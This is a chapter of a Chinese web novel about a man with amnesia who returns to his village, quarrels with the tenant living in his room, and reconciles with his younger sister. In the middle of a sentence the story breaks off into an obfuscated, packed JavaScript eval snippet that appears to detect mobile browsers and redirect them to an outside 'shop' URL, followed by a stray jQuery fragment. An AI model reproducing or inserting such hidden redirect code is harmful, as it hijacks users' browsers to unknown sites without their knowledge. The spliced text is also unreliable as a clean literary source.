国庆假期还未结束,石桥村就发生了一件大事。


    在外地失踪四个多月的明晨,突然回来了。


    不过明玉有点头疼。


    好消息,她不用再跑海市去找哥哥了;坏消息,哥哥虽然失忆中,但对出现在家里的男人十分排斥。见第一面就差点单方面殴打起来。


    没记忆的哥哥太能折腾了,说再多都跟聋子一样,只听自己想听到的。


    明玉蹲在门槛上,仰头望着针锋相对的两个男人,皮笑肉不笑的说:“你俩能安静坐下说话吗?特别是你,我亲爱的好哥哥!”


    自从明晨和辛蕊报警,到公安局传来匹配报案消息,再到决定赶往S省。这遥远一路上,他是茫然的。沿着当初柳文几人登记的基本信息和地址找到石桥村,这里的一切陌生又熟悉。


    路上遇到好些男女老少,言语间尽是对他还活着的欣喜。准备出门的王婆子恰好碰上他,得知他伤到脑子没了记忆,还热情的在前面带路,试图打探出到底出了啥事。


    明晨是一个人回来的。


    辛蕊和他算是室友关系,况且她还有妹妹要照顾,不可能抛下妹妹陪明晨跑这么远一趟。


    明晨被村民领着到了明家院子,院门敞开着,一眼望进去庭院整洁干净,和房屋齐高的梨树在秋日仍旧郁郁葱葱。他几乎第一时间就瞧见了在翻晒被子的高大男人。


    温润如玉的脸庞不知不觉间就变得神情严肃,两只眼睛死死盯着他看。不知道为什么,看到这人的第一眼就格外的讨厌。


    “他是谁?”明晨从嗓子眼里挤出一句话来。


    王婆子当了几十年的媒婆,那点眼力见还是有的。如今明家的正主回来了,秦临的存在就显得尴尬了些。尤其秦临貌似还对人家亲妹妹有那啥心思。


    “他是秦临,也是我们村子里的。先前他家房子塌了,你妹妹就把屋子租给他住了。”


    感觉不太妙,王婆子忍住看八卦的想法,简短几句解释完连院门都没跨进去就赶紧溜了。


    在知道这人居然还住进属于自己的屋子,明晨脸色黑如锅底,气得白眼直翻。压根没注意王婆子的离去,大步流星的冲进去,拳头下一秒就挥到了毫无防备的秦临脸上。


    秦临身形迅速一闪,极限躲开了这用尽全力的一拳。


    不到十分钟,就演变成了明玉现如今看到的头疼场面。她那话一出,秦临低眉垂眼的进屋抬凳子出来,放在明晨面前。


    他选择在明玉身边坐下。


    如此一来,独站在对面的明晨仿佛被孤立出去了。


    明晨又不是傻子,自然看出野男人的小把戏,扶额气笑了。他直言直语:“麻烦你先出去,我和我的妹妹有私密话要说。”


    秦临不语,侧目寻求明玉的意见。


    明玉真怕他哥气爆炸了:“秦临,那什么……”


    “好。你们慢慢聊,我在院子外面守着。有事大声喊我。”


    秦临不会让明玉为难,话没说完就懂了她的意思。起身去牵着在冲明晨狂吠的小白,强行拽了出去。


    明晨没有记忆不假,但对妹妹刻在骨子里的在意是无法彻底磨灭的。他板着脸冲那道背影冷笑:“真是搞笑,我是明玉他亲哥,打她骂她都没人有资格管教。花钱住了几十天,某人还真当自己是这个家的主人了?”


    声音不高不低,不用想都是专门说给秦临听的。


    隔着一堵墙,还能听到小白的叫声。


    明玉不乐意了,不客气的腿一伸踢明晨小腿上:“打我骂我?哥哥,你回来是给我下马威的吗?还是说你在外边有了新妹妹,这次回来是解决我这碍事的?”


    她一眼不眨的看着明晨,但凡有说谎的迹象,保证三秒不到就能抄起扫帚将人撵出去。


    明晨的警惕心骤然升起,直觉告诉他必须好好回答。小腿上的痛意清晰传来,身心却罕见的踏实安心了不少。


    “对不起,不是下马威,我不会骂你,更不会打你。外面也没有新妹妹,我的妹妹只有你一个。”


    道歉的话脱口而出,像是说过千百遍了。在知道有个亲妹妹后,明晨无数次幻想他和妹妹的相处模式。


    明玉勉强饶过了他:“只有我一个就好。你要是在外面认了别的妹妹,以后休想我再喊你一声哥。”


    至于救哥哥的女主,不好意思,她不认识。反正她哥已经回来了,嘻嘻。要报恩也是她哥报。


    这笔账算完,轮到明晨来了。他指着院墙外:“姓秦的是怎么回事?我失踪满打满算就四个月时间,家里就进狼子野心的狗男人了?听说住的还是我的屋子。”


    “好家伙,我失踪倒是给他有机可乘了。”


    越想胸口那股火气就越控制不住,明玉才多大点啊!她能懂什么,自己失踪纯属倒霉,所以这都怪秦临。


    明玉看天看地就是不看哥哥,小嘴嘟囔着:“什么怎么回事啊,他家房子没了,我看他可怜就这样了。哥,你不要看是个男的你就不爽,你不在的这几个月,除了林叔林婶,就是他帮忙最多了。”


    “他帮忙最多咋啦?住我家还想一点事不干,想得美他。”明晨觉得理所应当,问出关键性问题,“你和他不是在处对象吧?”


    明玉摇头:“不是,哥,秦临很好的,不是你想的那种人。你刚不在的那段日子,我睡不好觉,总感觉家里安静的可怕,还担心有贼进来;秦临做饭很好吃,他来了后我都没怎么吃林婶做的饭了……”


    她掰着手指细数秦临的好,却丝毫没注意到亲哥的脸色臭成啥样了。


    不过就算看到了,明玉也不会闭嘴。必须把她吃过的苦头清清楚楚的说一遍,要不然失忆的亲哥不听她的话了怎么办。


    明玉深谙拿捏哥哥的办法,嘴软心更软,稍微说点委屈的话就完完全全偏向她这边了。她一边哑着嗓音说话,一边装模作样的揉揉眼角。


    果然,上一秒还横眉竖眼的明晨,见着女孩抽抽噎噎的可怜模样,下一秒就熄了火,心脏像是被一块巨石死死压着,喘不过气来。


    他嗫嚅嘴角,脑子还没反应过来,手臂已经将她揽在了怀里。


    “是哥哥错了,你别哭了。”


    “阿玉。”


    ‘阿玉’这称呼下意识就唤了出来,轻声哄道:“姓秦的住了就住了吧,这些天照顾你的恩惠哥哥以后会帮你还清的。唉,这种事怎能怪你,是我一时不备被歹人敲中脑袋,幸好被好心人救回去了。”


    明晨絮絮叨叨的说了很多,都是这几个月在海市的经历,苦日子轻飘飘的带过。


    “阿玉,你八月底是不是去过海市?”


    明玉瞪大眼,从亲哥怀里出来:“哥哥你咋知道的?我不相信你死了,秦临有事去海市,我就缠着他一起去了。就想着找一找你,可惜没那好运气。”


    她本是装哭,但听着熟悉温柔的声音,眼眸终究是没绷住泛酸。晶莹泪珠盈满眼眶,很快顺着白皙脸颊滑落在衣服上。


    明玉和明晨相依为命十四年,除了对方没有旁的亲人。兄妹俩的感情一直极好,像这般分别数月的情况从没出现过。尽管秦临的出现,让她的生活和


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204389|193229||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    以往没有太大区别,但他到底不是能全身心新信赖的哥哥。


    秦临和明晨是不一样的。


    明玉没有把他们弄混过。


    “哭什么呀,哥哥这不是回来了吗。”明晨心疼的擦掉泪水,那泛红的眼尾扎的他心窝子疼,细细解释,“你们坐公交去车站那天下午,我看到了你。你坐在车窗边的座位。也正是那次意外,才想起我失忆后还从没去公安局报过警。”


    “哈哈……哥哥,你变笨了。”


    明玉笑出了声,她就说明晨单就失忆,怎么会这么久都不找回来。感情是这俩没想起求助公安啊。好没道理。


    兄妹俩乱七八糟的说了很多,最后说的口干舌燥才消停下来。


    哥哥回来了,明玉想到秦临,纠结的咬着唇瓣:“哥。”


    “嗯?”


    “你的屋子秦临在住,秦家房屋塌了,你们今晚怎么睡觉啊?”


    她高兴哥哥回来,又不是完全没良心。哥哥一回来就把秦临赶出去这样的行为她做不出来;但让哥哥不住家里,不可能。


    明玉拧着眉头,出馊主意:“要不你们先睡一个屋子?等明天再说。”


    明晨满头黑线:“睡个屁。等下就让他给我滚蛋!”


    甭管姓秦的有啥歪心思,到他面前也得恭恭敬敬的喊他一声‘大哥’。否则干啥都免谈。何况他家阿玉还这么小,处对象什么的至少要25岁吧。


    年纪轻轻的,心智没成熟,容易被那些不值一提的小恩小惠勾搭跑。


    “哥!你讲点道理好吧,再过一两个小时就天黑了,你让秦临去哪儿找住的地方。”


    “行了行了,你别管这些,这事我去跟他说。”


    明晨见不得亲妹妹帮外人说话,心醋溜溜的憋屈得慌。生气了还不想让明玉看出来,转过身笑脸瞬间垮了下来。服了,他要再晚几个月回来,这家里指定就没他的位置了。


    他垮着脸走出院子,只看到被栓在路边树下的小白狗。四周看了遍,连秦临的影子都没看到。


    “人呢???”


    得嘞,人跑了正好,免得他费口舌跟那谁废话。


    明晨刚准备回去收拾沾满野男人味儿的家,隔壁得到消息的林婶从田地里回来了。看到完好无损的明晨,乐得合不拢嘴,直呼老天爷保佑。


    明晨没了以前记忆,顺势就询问许多重要事情。半小时下来,他大概有了了解,对秦临更不顺眼了。


    呵呵,他没出事前,就没和这人有过联系。一出事,各路牛鬼蛇神就冒出来了。哦,还有于天杰那个王八蛋!拳头真硬了,微笑着问林婶于家在哪个方向。


    不等林婶再说话,明晨就怒气冲冲的转身走远。他相貌偏温和,看着像书香门第出身的翩翩君子,眉眼透着如玉般的柔情。


    实则他小小年纪就会打架了,专下死手的那种。


    家里一套,外面一套。


    于家。


    上月失业待在家里的于天杰,在一脸不耐烦的教六七岁的小男孩写作业。小男孩是他大哥大嫂的儿子,在读小学,蠢笨如猪。


    葛盼儿身形瘦削,肚子这会儿就有些大的吓人了。去县城检查过,医生说怀的可能是双胎。


    李翠为小儿子高兴啊,对葛盼儿的态度肉眼可见的好了。都没让她去地里干活,就留在家里帮着洗衣服做饭。


    葛盼儿在跟着于大嫂做婴儿的小衣服,清秀脸庞上挂着笑容。笑容没持续多久,大门被人一脚踹开。冲进来一个二十多岁的男人。


    “于天杰那畜生呢?”